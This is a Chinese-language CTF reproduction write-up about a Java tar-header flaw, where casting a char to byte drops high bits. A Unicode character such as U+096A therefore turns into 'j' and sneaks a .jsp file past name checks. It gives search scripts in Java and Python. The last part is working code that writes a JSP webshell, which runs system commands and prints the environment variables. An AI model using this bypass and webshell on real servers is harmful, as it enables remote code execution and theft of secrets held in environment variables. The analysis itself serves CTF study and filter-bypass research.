比赛的时候没做出来,现在来复现一下。
在TarHeader类中有两个方法,负责对文件名进行解析。
这个是压缩时的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) { int i;
for (i = 0; i < length && i < name.length(); ++i) { buf[offset + i] = (byte) name.charAt(i); }
for (; i < length; ++i) { buf[offset + i] = 0; }
return offset + length; }
|
这个是解压时的方法:
1 2 3 4 5 6 7 8 9 10 11 12
| public static StringBuffer parseName(byte[] header, int offset, int length) { StringBuffer result = new StringBuffer(length);
int end = offset + length; for (int i = offset; i < end; ++i) { if (header[i] == 0) break; result.append((char) header[i]); }
return result; }
|
这里重点关注一下压缩时的方法。可以看到,这里对文件名name,进行了 (byte) name.charAt(i) 操作。name.charAt()得到是char类型数据,占16位,默认实现UTF-16,是Unicode码点序列。而byte类型只占8位。这就导致name中的中文在转化成byte类型时,会丢失高位部分。因此,现在要做的就是找到一个Unicode字符,其丢失高位后与jsp中的任意一个字符相同。
这里以 j 为例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package solution;
public class Test { public static void main(String[] args) { StringBuffer name = new StringBuffer(); name.append("你abc123"); char c = name.charAt(0); System.out.println(c); System.out.println((byte) c); System.out.println((byte) 'j'); unicodeSearch();
}
public static void unicodeSearch(){ int count = 0; for (int codePoint = Character.MIN_CODE_POINT; codePoint <= Character.MAX_CODE_POINT; codePoint++) { if (!Character.isDigit(codePoint)) { continue; } String s = new String(Character.toChars(codePoint)); char c = s.charAt(0); if ((byte) c == 106){ System.out.println(String.format("%c: U+%04X%n", c, codePoint)); } } } }
|
python脚本也行:
1 2 3 4 5 6 7 8 9
| if __name__ == "__main__": for i in range(0x0000, 0xFFFF+1): hex_str = format(i, "04x") last2 = hex_str[-2:] char_old = chr(int(hex_str, 16)) char_new = chr(int(last2, 16)) if char_new == 'j': print(f"{char_old}丢失高位后变成:{char_new}")
|
找到一些能用的字符
Ū(\u016a)丢失高位后变成:j
ɪ(\u026a)丢失高位后变成:j
ͪ(\u036a)丢失高位后变成:j
Ѫ(\u046a)丢失高位后变成:j
ժ(\u056a)丢失高位后变成:j
٪(\u066a)丢失高位后变成:j
ݪ(\u076a)丢失高位后变成:j
ࡪ(\u086a)丢失高位后变成:j
४(\u096a)丢失高位后变成:j
创建jsp马即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package solution;
import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException;
public class WriteJsp { public static void main(String[] args) throws IOException { FileOutputStream fos = new FileOutputStream("shell.\u096Asp"); fos.write(("<%@ page import=\"java.io.InputStream\" %>\n" + "<%@ page import=\"java.util.Scanner\" %><%\n" + " Process env = Runtime.getRuntime().exec(\"env\");\n" + " InputStream inputStream = env.getInputStream();\n" + " Scanner scanner = new Scanner(inputStream).useDelimiter(\"\\\\A\");\n" + " String s = scanner.hasNext() ? scanner.next() : \"\";\n" + " out.print(s);\n" + "%>").getBytes()); } }
|